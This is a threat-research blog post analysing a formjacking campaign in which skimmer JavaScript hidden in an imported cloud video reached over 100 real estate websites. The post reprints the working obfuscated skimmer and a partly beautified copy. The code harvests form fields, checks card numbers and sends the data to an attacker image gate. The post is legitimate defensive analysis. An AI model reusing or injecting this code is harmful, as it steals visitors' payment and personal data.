[![Logo](https://www.paloaltonetworks.com/wp-content/uploads/2021/07/PANW_Parent.png)](https://www.paloaltonetworks.com/)  
[![Unit42 Logo](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/unit42-logo-white.svg)](https://unit42.paloaltonetworks.com/)  
Menu

* [Tools](https://unit42.paloaltonetworks.com/tools/)
* [ATOMs](https://unit42.paloaltonetworks.com/atoms/)
* [Security Consulting](https://www.paloaltonetworks.com/unit42)
* [About Us](https://unit42.paloaltonetworks.com/about-unit-42/)
* [**Under Attack?**](https://start.paloaltonetworks.com/contact-unit42.html)  
  English
* [English](https://unit42.paloaltonetworks.com/web-skimmer-video-distribution/)
* [Japanese](https://unit42.paloaltonetworks.com/ja/web-skimmer-video-distribution/)
* [Threat Research Center](https://unit42.paloaltonetworks.com "Threat Research")
* [Threat Research](https://unit42.paloaltonetworks.com/category/threat-research/ "Threat Research")
* [Malware](https://unit42.paloaltonetworks.com/category/malware/ "Malware")  
  [Malware](https://unit42.paloaltonetworks.com/category/malware/)

# A New Web Skimmer Campaign Targets Real Estate Websites Through Attacking Cloud Video Distribution Supply Chain

![Clock Icon](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-clock.svg) 10 min read  
Related Products  
[![Advanced URL Filtering icon](https://unit42.paloaltonetworks.com/wp-content/uploads/2024/06/strata_RGB_logo_Icon_Color.png)Advanced URL Filtering](https://unit42.paloaltonetworks.com/product-category/advanced-url-filtering/ "Advanced URL Filtering")[![Advanced WildFire icon](https://unit42.paloaltonetworks.com/wp-content/uploads/2024/06/strata_RGB_logo_Icon_Color.png)Advanced WildFire](https://unit42.paloaltonetworks.com/product-category/advanced-wildfire/ "Advanced WildFire")

* ![Profile Icon](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-profile-grey.svg)  
  By:
  
  * [Taojie Wang](https://unit42.paloaltonetworks.com/author/taojie-wang/)
  * [Jin Chen](https://unit42.paloaltonetworks.com/author/jin-chen/)
  * [Tao Yan](https://unit42.paloaltonetworks.com/author/tao-yan/)

* ![Published Icon](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-calendar-grey.svg)  
  Published:January 3, 2022

* ![Tags Icon](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-category.svg)  
  Categories:
  
  * [Cybercrime](https://unit42.paloaltonetworks.com/category/cybercrime/)
  * [Malware](https://unit42.paloaltonetworks.com/category/malware/)
  * [Threat Research](https://unit42.paloaltonetworks.com/category/threat-research/)

* ![Tags Icon](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-tags-grey.svg)  
  Tags:
  
  * [Formjacking Attack](https://unit42.paloaltonetworks.com/tag/formjacking-attack/)
  * [Web skimmer](https://unit42.paloaltonetworks.com/tag/web-skimmer/)

* [![Download Icon](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-download.svg)](https://unit42.paloaltonetworks.com/web-skimmer-video-distribution/?pdf=download&lg=en&_wpnonce=40dbae5d0f "Click here to download")

* [![Print Icon](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-print.svg)](https://unit42.paloaltonetworks.com/web-skimmer-video-distribution/?pdf=print&lg=en&_wpnonce=40dbae5d0f "Click here to print")

Share![Down arrow](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/down-arrow.svg)

* ![Link Icon](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-share-link.svg)
* [![Link Email](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-sms.svg)](mailto:?subject=A%20New%20Web%20Skimmer%20Campaign%20Targets%20Real%20Estate%20Websites%20Through%20Attacking%20Cloud%20Video%20Distribution%20Supply%20Chain&body=Check%20out%20this%20article%20https%3A%2F%2Funit42.paloaltonetworks.com%2Fweb-skimmer-video-distribution%2F "Share in email")
* [![Facebook Icon](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-fb-share.svg)](https://www.facebook.com/sharer/sharer.php?u=https%3A%2F%2Funit42.paloaltonetworks.com%2Fweb-skimmer-video-distribution%2F "Share in Facebook")
* [![LinkedIn Icon](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-linkedin-share.svg)](https://www.linkedin.com/sharing/share-offsite/?url=https%3A%2F%2Funit42.paloaltonetworks.com%2Fweb-skimmer-video-distribution%2F&title=A%20New%20Web%20Skimmer%20Campaign%20Targets%20Real%20Estate%20Websites%20Through%20Attacking%20Cloud%20Video%20Distribution%20Supply%20Chain "Share in LinkedIn")
* [![Twitter Icon](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-twitter-share.svg)](https://twitter.com/intent/tweet?url=https%3A%2F%2Funit42.paloaltonetworks.com%2Fweb-skimmer-video-distribution%2F&text=A%20New%20Web%20Skimmer%20Campaign%20Targets%20Real%20Estate%20Websites%20Through%20Attacking%20Cloud%20Video%20Distribution%20Supply%20Chain "Share in Twitter")
* [![Reddit Icon](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-reddit-share.svg)](https://www.paloaltonetworks.com//www.reddit.com/submit?url=https%3A%2F%2Funit42.paloaltonetworks.com%2Fweb-skimmer-video-distribution%2F&ts=markdown "Share in Reddit")
* [![Mastodon Icon](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-mastodon-share.svg)](https://mastodon.social/share?text=A%20New%20Web%20Skimmer%20Campaign%20Targets%20Real%20Estate%20Websites%20Through%20Attacking%20Cloud%20Video%20Distribution%20Supply%20Chain%20https%3A%2F%2Funit42.paloaltonetworks.com%2Fweb-skimmer-video-distribution%2F "Share in Mastodon")

## Executive Summary

Supply chain networks are frequent targets for cybercrime, as controlling a weak link in the supply chain can grant cybercriminals access to more victims -- especially when the weak link is the source of the supply chain. Recently, we found a supply chain attack leveraging a cloud video platform to distribute skimmer (aka [formjacking](https://unit42.paloaltonetworks.com/tag/formjacking-attack/)) campaigns. In skimmer attacks, cybercriminals inject malicious JavaScript code to hack a website and take over the functionality of the site's HTML form page to collect sensitive user information. In the case of the attacks described here, the attacker injected the skimmer JavaScript codes into video, so whenever others import the video, their websites get embedded with skimmer codes as well.

With Palo Alto Networks proactive monitoring and detection services, we detected over 100 real estate sites that were compromised by the same skimmer attack. The skimmer attack has grown in popularity with attackers since we published our previous blog posts, "[Anatomy of Formjacking Attacks](https://unit42.paloaltonetworks.com/anatomy-of-formjacking-attacks/)" and "[Data Analysis: A Closer Look at the Web Skimmer](https://unit42.paloaltonetworks.com/web-skimmer/)." After analysis of the sites we identified, we found that all the compromised sites belong to one parent company. All these compromised sites are importing the same video (accompanied by malicious scripts) from a cloud video platform.

We worked with the cloud video platform and the real estate company to help them remove the malware prior to publication. We're publishing this piece to alert organizations and web surfers of the potential for supply chain attacks to infect legitimate websites without the knowledge of those organizations. In this blog, we will take a step-by-step look at how this attack is deployed and how the skimmer steals victims' sensitive information.

Palo Alto Networks customers are protected from this type of attack via the [WildFire](https://www.paloaltonetworks.com/products/secure-the-network/wildfire) and [URL Filtering](https://www.paloaltonetworks.com/products/threat-detection-and-prevention/web-security) subscription services for the [Next-Generation Firewall](https://www.paloaltonetworks.com/network-security/next-generation-firewall).

|----------------------------------------------|-----------------------------------------------------------------------------------------------------------------------------------------------------|
| Types of Attacks and Vulnerabilities Covered | [Skimmer attacks](https://unit42.paloaltonetworks.com/tag/web-skimmer/), [formjacking](https://unit42.paloaltonetworks.com/tag/formjacking-attack/) |
| Related Unit 42 Topics                       | [Information stealing](https://unit42.paloaltonetworks.com/tag/information-disclosure/)                                                             |

## Table of Contents

[Skimmer Detection](#skimmer-detection)  
[Skimmer Code Analysis](#skimmer-code-analysis)  
[Malicious Code in Video](#malicious-code-in-video)  
[Conclusion](#conclusion)  
[Indicators of Compromise](#indicators-of-compromise)

## Skimmer Detection

With Palo Alto Networks proactive monitoring and detection services, we are able to capture websites compromised by the skimmer attack discussed here. These websites are listed in the [indicators of compromise](#indicators-of-compromise) (IoCs) section below.

Let's take one website as an example (see Figure 1). It provides a form that visitors can use to request more information about a house for sale, and it includes fields where the user is asked to provide personal information.
!["One website provides a form that visitors can use to request more information about a house for sale, and it includes fields where the user is asked to provide personal information.](https://unit42.paloaltonetworks.com/wp-content/uploads/2021/12/word-image-19.png) Figure 1. Asking for a potential victim's sensitive information.

When trying to access this page, our detection service is able to detect a skimmer attack in an iframe URL:
![When accessing the page shown in Figure 1, our detection service is able to detect a web skimmer attack in an iframe URL, as shown here.](https://unit42.paloaltonetworks.com/wp-content/uploads/2021/12/word-image-20.png) Figure 2. Malicious code resides in this HTML page.

## Skimmer Code Analysis

To better understand how this skimmer operates, we do a deep dive into the sample codes. Let's start with the JavaScript code extracted from the compromised sites:  
JavaScript  
var u=\["VHJ5U2VuZA==","SU1H","R2V0SW1hZ2VVcmw=","P3JlZmY9","b25yZWFkeXN0YXRlY2hhbmdl","cmVhZHlTdGF0ZQ==","Y29tcGxldGU=","c2V0SW50ZXJ2YWw=","cmVwbGFjZQ==","dGVzdA==","bGVuZ3Ro","Y2hhckF0","aXNPcGVu","b3JpZW50YXRpb24=","ZGlzcGF0Y2hFdmVudA==","b3V0ZXJXaWR0aA==","aW5uZXJXaWR0aA==","b3V0ZXJIZWlnaHQ=","aW5uZXJIZWlnaHQ=","dmVydGljYWw=","aG9yaXpvbnRhbA==","RmlyZWJ1Zw==","Y2hyb21l","aXNJbml0aWFsaXplZA==","dW5kZWZpbmVk","ZXhwb3J0cw==","ZGV2dG9vbHM=","aGFzaENvZGU=","Y2hhckNvZGVBdA==","R2F0ZQ==","RGF0YQ==","U2F2ZVBhcmFt","U2F2ZUFsbEZpZWxkcw==","aW5wdXQ=","c2VsZWN0","dGV4dGFyZWE=","U2VuZERhdGE="\]; (function(e,t){var r=function(t){while(--t){e\["push"\](e\["shift"\]())}};r(++t)})(u,230); var l=function(t,r){t=t-0;var i=u\[t\]; if(l\["HwWGHQ"\]===undefined){(function(){var t=function(){var t;try{t=Function("return (function() "+'{}.constructor("return this")( )'+"); ")()}catch(r){t=e}return t}; var r=t(); var i="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/="; r\["atob"\]||(r\["atob"\]=function(e){var t=String(e)\["replace"\](/=+$/,""); for(var r=0,n,a,s=0,o=""; a=t\["charAt"\](s++); ~a\&\&(n=r%4?n\*64+a:a,r++%4)?o+=String\["fromCharCode"\](255\&n\>\>(-2\*r\&6)):0){a=i\["indexOf"\](a)}return o})})(); l\["lGbxnk"\]=function(e){var t=atob(e); var r=\[\]; for(var i=0,n=t\["length"\]; i\<n;i++){r+="%"+("00"+t\["charCodeAt"\](i)\["toString"\](16))\["slice"\](-2)}return decodeURIComponent(r)}; l\["giOUOg"\]={}; l\["HwWGHQ"\]=!!\[\]}var n=l\["giOUOg"\]\[t\]; if(n===undefined){i=l\["lGbxnk"\](i); l\["giOUOg"\]\[t\]=i}else{i=n}return i}; function c(e,t,r){return e\[l("0x0")\](new RegExp(t,"g"),r)}function d(e){var t=/^(?:4\[0-9\]{12}(?:\[0-9\]{3})?)$/; var r=/^(?:5\[1-5\]\[0-9\]{14})$/; var i=/^(?:3\[47\]\[0-9\]{13})$/; var n=/^(?:6(?:011|5\[0-9\]\[0-9\])\[0-9\]{12})$/; var a=!\[\]; if(t\["test"\](e)){a=!!\[\]}else if(r\[l("0x1")\](e)){a=!!\[\]}else if(i\[l("0x1")\](e)){a=!!\[\]}else if(n\[l("0x1")\](e)){a=!!\[\]}return a}function f(e){if(/\[^0-9-\\s\]+/\["test"\](e))return!\[\]; var t=0,r=0,i=!\[\]; e=e\[l("0x0")\](/\\D/g,""); for(var n=e\[l("0x2")\]-1; n\>=0; n--){var a=e\[l("0x3")\](n),r=parseInt(a,10); if(i){if((r\*=2)\>9)r-=9}t+=r; i=!i}return t%10==0}(function(){"use strict"; const t={}; t\[l("0x4")\]=!\[\]; t\[l("0x5")\]=undefined;const r=160; const i=(t,r)=\>{e\[l("0x6")\](new CustomEvent("devtoolschange",{detail:{isOpen:t,orientation:r}}))}; setInterval(()=\>{const n=e\[l("0x7")\]-e\[l("0x8")\]\>r; const a=e\[l("0x9")\]-e\[l("0xa")\]\>r; const s=n?l("0xb"):l("0xc"); if(!(a\&\&n)\&\&(e\[l("0xd")\]\&\&e\["Firebug"\]\[l("0xe")\]\&\&e\[l("0xd")\]\["chrome"\]\[l("0xf")\]||n||a)){if(!t\["isOpen"\]||t\[l("0x5")\]!==s){i(!!\[\],s)}t\["isOpen"\]=!!\[\]; t\["orientation"\]=s}else{if(t\[l("0x4")\]){i(!\[\],undefined)}t\["isOpen"\]=!\[\]; t\[l("0x5")\]=undefined}},500); if(typeof module!==l("0x10")\&\&module\[l("0x11")\]){module\[l("0x11")\]=t}else{e\[l("0x12")\]=t}})(); String\["prototype"\]\[l("0x13")\]=function(){var e=0,t,r; if(this\[l("0x2")\]===0)return e; for(t=0;t\<this\[l("0x2")\]; t++){r=this\[l("0x14")\](t); e=(e\<\<5)-e+r; e|=0}return e}; var h={}; h\[l("0x15")\]="https://cdn-imgcloud\[.\]com/img"; h\[l("0x16")\]={}; h\["Sent"\]=\[\]; h\["IsValid"\]=!\[\]; h\[l("0x17")\]=function(e){if(e.id!==undefined\&\&e.id!=""\&\&e.id!==null\&\&e.value.length\<256\&\&e.value.length\>0){if(f(c(c(e.value,"-","")," ",""))\&\&d(c(c(e.value,"-","")," ","")))h.IsValid=!!\[\]; h.Data\[e.id\]=e.value; return}if(e.name!==undefined\&\&e.name!=""\&\&e.name!==null\&\&e.value.length\<256\&\&e.value.length\>0){if(f(c(c(e.value,"-","")," ",""))\&\&d(c(c(e.value,"-","")," ","")))h.IsValid=!!\[\]; h.Data\[e.name\]=e.value;return}}; h\[l("0x18")\]=function(){var e=t.getElementsByTagName(l("0x19")); var r=t.getElementsByTagName(l("0x1a")); var i=t.getElementsByTagName(l("0x1b")); for(var n=0; n\<e.length;n++)h.SaveParam(e\[n\]); for(var n=0; n\<r.length;n++)h.SaveParam(r\[n\]); for(var n=0; n\<i.length;n++)h.SaveParam(i\[n\])}; h\[l("0x1c")\]=function(){if(!e.devtools.isOpen\&\&h.IsValid){h.Data\["Domain"\]=location.hostname; var t=encodeURIComponent(e.btoa(JSON.stringify(h.Data))); var r=t.hashCode(); for(var i=0; i\<h.Sent.length;i++)if(h.Sent\[i\]==r)return;h.LoadImage(t)}}; h\[l("0x1d")\]=function(){h.SaveAllFields(); h.SendData()}; h\["LoadImage"\]=function(e){h.Sent.push(e.hashCode()); var r=t.createElement(l("0x1e")); r.src=h.GetImageUrl(e)}; h\[l("0x1f")\]=function(e){return h.Gate+l("0x20")+e}; t\[l("0x21")\]=function(){if(t\[l("0x22")\]===l("0x23")){e\[l("0x24")\](h\[l("0x1d")\],500)}};

|----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
| 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 | var u=\["VHJ5U2VuZA==","SU1H","R2V0SW1hZ2VVcmw=","P3JlZmY9","b25yZWFkeXN0YXRlY2hhbmdl","cmVhZHlTdGF0ZQ==","Y29tcGxldGU=","c2V0SW50ZXJ2YWw=","cmVwbGFjZQ==","dGVzdA==","bGVuZ3Ro","Y2hhckF0","aXNPcGVu","b3JpZW50YXRpb24=","ZGlzcGF0Y2hFdmVudA==","b3V0ZXJXaWR0aA==","aW5uZXJXaWR0aA==","b3V0ZXJIZWlnaHQ=","aW5uZXJIZWlnaHQ=","dmVydGljYWw=","aG9yaXpvbnRhbA==","RmlyZWJ1Zw==","Y2hyb21l","aXNJbml0aWFsaXplZA==","dW5kZWZpbmVk","ZXhwb3J0cw==","ZGV2dG9vbHM=","aGFzaENvZGU=","Y2hhckNvZGVBdA==","R2F0ZQ==","RGF0YQ==","U2F2ZVBhcmFt","U2F2ZUFsbEZpZWxkcw==","aW5wdXQ=","c2VsZWN0","dGV4dGFyZWE=","U2VuZERhdGE="\]; (function(e,t){var r=function(t){while(--t){e\["push"\](e\["shift"\]())}};r(++t)})(u,230); var l=function(t,r){t=t-0;var i=u\[t\]; if(l\["HwWGHQ"\]===undefined){(function(){var t=function(){var t;try{t=Function("return (function() "+'{}.constructor("return this")( )'+"); ")()}catch(r){t=e}return t}; var r=t(); var i="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/="; r\["atob"\]||(r\["atob"\]=function(e){var t=String(e)\["replace"\](/=+$/,""); for(var r=0,n,a,s=0,o=""; a=t\["charAt"\](s++); ~a\&\&(n=r%4?n\*64+a:a,r++%4)?o+=String\["fromCharCode"\](255\&n\>\>(-2\*r\&6)):0){a=i\["indexOf"\](a)}return o})})(); l\["lGbxnk"\]=function(e){var t=atob(e); var r=\[\]; for(var i=0,n=t\["length"\]; i\<n;i++){r+="%"+("00"+t\["charCodeAt"\](i)\["toString"\](16))\["slice"\](-2)}return decodeURIComponent(r)}; l\["giOUOg"\]={}; l\["HwWGHQ"\]=!!\[\]}var n=l\["giOUOg"\]\[t\]; if(n===undefined){i=l\["lGbxnk"\](i); l\["giOUOg"\]\[t\]=i}else{i=n}return i}; function c(e,t,r){return e\[l("0x0")\](new RegExp(t,"g"),r)}function d(e){var t=/^(?:4\[0-9\]{12}(?:\[0-9\]{3})?)$/; var r=/^(?:5\[1-5\]\[0-9\]{14})$/; var i=/^(?:3\[47\]\[0-9\]{13})$/; var n=/^(?:6(?:011|5\[0-9\]\[0-9\])\[0-9\]{12})$/; var a=!\[\]; if(t\["test"\](e)){a=!!\[\]}else if(r\[l("0x1")\](e)){a=!!\[\]}else if(i\[l("0x1")\](e)){a=!!\[\]}else if(n\[l("0x1")\](e)){a=!!\[\]}return a}function f(e){if(/\[^0-9-\\s\]+/\["test"\](e))return!\[\]; var t=0,r=0,i=!\[\]; e=e\[l("0x0")\](/\\D/g,""); for(var n=e\[l("0x2")\]-1; n\>=0; n--){var a=e\[l("0x3")\](n),r=parseInt(a,10); if(i){if((r\*=2)\>9)r-=9}t+=r; i=!i}return t%10==0}(function(){"use strict"; const t={}; t\[l("0x4")\]=!\[\]; t\[l("0x5")\]=undefined;const r=160; const i=(t,r)=\>{e\[l("0x6")\](new CustomEvent("devtoolschange",{detail:{isOpen:t,orientation:r}}))}; setInterval(()=\>{const n=e\[l("0x7")\]-e\[l("0x8")\]\>r; const a=e\[l("0x9")\]-e\[l("0xa")\]\>r; const s=n?l("0xb"):l("0xc"); if(!(a\&\&n)\&\&(e\[l("0xd")\]\&\&e\["Firebug"\]\[l("0xe")\]\&\&e\[l("0xd")\]\["chrome"\]\[l("0xf")\]||n||a)){if(!t\["isOpen"\]||t\[l("0x5")\]!==s){i(!!\[\],s)}t\["isOpen"\]=!!\[\]; t\["orientation"\]=s}else{if(t\[l("0x4")\]){i(!\[\],undefined)}t\["isOpen"\]=!\[\]; t\[l("0x5")\]=undefined}},500); if(typeof module!==l("0x10")\&\&module\[l("0x11")\]){module\[l("0x11")\]=t}else{e\[l("0x12")\]=t}})(); String\["prototype"\]\[l("0x13")\]=function(){var e=0,t,r; if(this\[l("0x2")\]===0)return e; for(t=0;t\<this\[l("0x2")\]; t++){r=this\[l("0x14")\](t); e=(e\<\<5)-e+r; e|=0}return e}; var h={}; h\[l("0x15")\]="https://cdn-imgcloud\[.\]com/img"; h\[l("0x16")\]={}; h\["Sent"\]=\[\]; h\["IsValid"\]=!\[\]; h\[l("0x17")\]=function(e){if(e.id!==undefined\&\&e.id!=""\&\&e.id!==null\&\&e.value.length\<256\&\&e.value.length\>0){if(f(c(c(e.value,"-","")," ",""))\&\&d(c(c(e.value,"-","")," ","")))h.IsValid=!!\[\]; h.Data\[e.id\]=e.value; return}if(e.name!==undefined\&\&e.name!=""\&\&e.name!==null\&\&e.value.length\<256\&\&e.value.length\>0){if(f(c(c(e.value,"-","")," ",""))\&\&d(c(c(e.value,"-","")," ","")))h.IsValid=!!\[\]; h.Data\[e.name\]=e.value;return}}; h\[l("0x18")\]=function(){var e=t.getElementsByTagName(l("0x19")); var r=t.getElementsByTagName(l("0x1a")); var i=t.getElementsByTagName(l("0x1b")); for(var n=0; n\<e.length;n++)h.SaveParam(e\[n\]); for(var n=0; n\<r.length;n++)h.SaveParam(r\[n\]); for(var n=0; n\<i.length;n++)h.SaveParam(i\[n\])}; h\[l("0x1c")\]=function(){if(!e.devtools.isOpen\&\&h.IsValid){h.Data\["Domain"\]=location.hostname; var t=encodeURIComponent(e.btoa(JSON.stringify(h.Data))); var r=t.hashCode(); for(var i=0; i\<h.Sent.length;i++)if(h.Sent\[i\]==r)return;h.LoadImage(t)}}; h\[l("0x1d")\]=function(){h.SaveAllFields(); h.SendData()}; h\["LoadImage"\]=function(e){h.Sent.push(e.hashCode()); var r=t.createElement(l("0x1e")); r.src=h.GetImageUrl(e)}; h\[l("0x1f")\]=function(e){return h.Gate+l("0x20")+e}; t\[l("0x21")\]=function(){if(t\[l("0x22")\]===l("0x23")){e\[l("0x24")\](h\[l("0x1d")\],500)}}; |

From the code, we know next to nothing about what the attack is attempting to do as it is highly obfuscated. Let's try to beautify it and split it into four parts to get a better understanding of it:

### Skimmer Code Part One

JavaScript  
var u = \["VHJ5U2VuZA==", "SU1H", "R2V0SW1hZ2VVcmw=", "P3JlZmY9", "b25yZWFkeXN0YXRlY2hhbmdl", "cmVhZHlTdGF0ZQ==", "Y29tcGxldGU=", "c2V0SW50ZXJ2YWw=", "cmVwbGFjZQ==", "dGVzdA==", "bGVuZ3Ro", "Y2hhckF0", "aXNPcGVu", "b3JpZW50YXRpb24=", "ZGlzcGF0Y2hFdmVudA==", "b3V0ZXJXaWR0aA==", "aW5uZXJXaWR0aA==", "b3V0ZXJIZWlnaHQ=", "aW5uZXJIZWlnaHQ=", "dmVydGljYWw=", "aG9yaXpvbnRhbA==", "RmlyZWJ1Zw==", "Y2hyb21l", "aXNJbml0aWFsaXplZA==", "dW5kZWZpbmVk", "ZXhwb3J0cw==", "ZGV2dG9vbHM=", "aGFzaENvZGU=", "Y2hhckNvZGVBdA==", "R2F0ZQ==", "RGF0YQ==", "U2F2ZVBhcmFt", "U2F2ZUFsbEZpZWxkcw==", "aW5wdXQ=", "c2VsZWN0", "dGV4dGFyZWE=", "U2VuZERhdGE="\]; (function(e, t) { var r = function(t) { while (--t) { e\["push"\](e\["shift"\]()) } }; r(++t) })(u, 230); var l = function(t, r) { t = t - 0; var i = u\[t\]; if (l\["HwWGHQ"\] === undefined) { (function() { var t = function() { var t; try { t = Function("return (function() " + '{}.constructor("return this")( )' + ");")() } catch (r) { t = e } return t }; var r = t(); var i = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/="; r\["atob"\] || (r\["atob"\] = function(e) { var t = String(e)\["replace"\](/=+$/, ""); for (var r = 0, n, a, s = 0, o = ""; a = t\["charAt"\](s++); ~a \&\& (n = r % 4 ? n \* 64 + a : a, r++ % 4) ? o += String\["fromCharCode"\](255 \& n \>\> (-2 \* r \& 6)) : 0) { a = i\["indexOf"\](a) } return o }) })(); l\["lGbxnk"\] = function(e) { var t = atob(e); var r = \[\]; for (var i = 0, n = t\["length"\]; i \< n; i++) { r += "%" + ("00" + t\["charCodeAt"\](i)\["toString"\](16))\["slice"\](-2) } return decodeURIComponent(r) }; l\["giOUOg"\] = {}; l\["HwWGHQ"\] = !!\[\] } var n = l\["giOUOg"\]\[t\]; if (n === undefined) { i = l\["lGbxnk"\](i); l\["giOUOg"\]\[t\] = i } else { i = n } return i };

|-------------------------------------------------------------------------------------------------------------------------------------------------------|--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
| 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 | var u = \["VHJ5U2VuZA==", "SU1H", "R2V0SW1hZ2VVcmw=", "P3JlZmY9", "b25yZWFkeXN0YXRlY2hhbmdl", "cmVhZHlTdGF0ZQ==", "Y29tcGxldGU=", "c2V0SW50ZXJ2YWw=", "cmVwbGFjZQ==", "dGVzdA==", "bGVuZ3Ro", "Y2hhckF0", "aXNPcGVu", "b3JpZW50YXRpb24=", "ZGlzcGF0Y2hFdmVudA==", "b3V0ZXJXaWR0aA==", "aW5uZXJXaWR0aA==", "b3V0ZXJIZWlnaHQ=", "aW5uZXJIZWlnaHQ=", "dmVydGljYWw=", "aG9yaXpvbnRhbA==", "RmlyZWJ1Zw==", "Y2hyb21l", "aXNJbml0aWFsaXplZA==", "dW5kZWZpbmVk", "ZXhwb3J0cw==", "ZGV2dG9vbHM=", "aGFzaENvZGU=", "Y2hhckNvZGVBdA==", "R2F0ZQ==", "RGF0YQ==", "U2F2ZVBhcmFt", "U2F2ZUFsbEZpZWxkcw==", "aW5wdXQ=", "c2VsZWN0", "dGV4dGFyZWE=", "U2VuZERhdGE="\]; (function(e, t) { var r = function(t) { while (--t) { e\["push"\](e\["shift"\]()) } }; r(++t) })(u, 230); var l = function(t, r) { t = t - 0; var i = u\[t\]; if (l\["HwWGHQ"\] === undefined) { (function() { var t = function() { var t; try { t = Function("return (function() " + '{}.constructor("return this")( )' + ");")() } catch (r) { t = e } return t }; var r = t(); var i = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/="; r\["atob"\] || (r\["atob"\] = function(e) { var t = String(e)\["replace"\](/=+$/, ""); for (var r = 0, n, a, s = 0, o = ""; a = t\["charAt"\](s++); ~a \&\& (n = r % 4 ? n \* 64 + a : a, r++ % 4) ? o += String\["fromCharCode"\](255 \& n \>\> (-2 \* r \& 6)) : 0) { a = i\["indexOf"\](a) } return o }) })(); l\["lGbxnk"\] = function(e) { var t = atob(e); var r = \[\]; for (var i = 0, n = t\["length"\]; i \< n; i++) { r += "%" + ("00" + t\["charCodeAt"\](i)\["toString"\](16))\["slice"\](-2) } return decodeURIComponent(r) }; l\["giOUOg"\] = {}; l\["HwWGHQ"\] = !!\[\] } var n = l\["giOUOg"\]\[t\]; if (n === undefined) { i = l\["lGbxnk"\](i); l\["giOUOg"\]\[t\] = i } else { i = n } return i }; |

The code in part one is used to decrypt the string array -- u; the decryption function is l.

After decryption, we can get a plain text array as shown below. For example, l (0x1) is the string test.  
JavaScript  
0 "replace" 1 "test" 2 "length" 3 "charAt" 4 "isOpen" 5 "orientation" 6 "dispatchEvent" 7 "outerWidth" 8 "innerWidth" 9 "outerHeight" 10 "innerHeight" 11 "vertical" 12 "horizontal" 13 "Firebug" 14 "chrome" 15 "isInitialized" 16 "undefined" 17 "exports" 18 "devtools" 19 "hashCode" 20 "charCodeAt" 21 "Gate" 22 "Data" 23 "SaveParam" 24 "SaveAllFields" 25 "input" 26 "select" 27 "textarea" 28 "SendData" 29 "TrySend" 30 "IMG" 31 "GetImageUrl" 32 "?reff=" 33 "onreadystatechange" 34 "readyState" 35 "complete" 36 "setInterval"

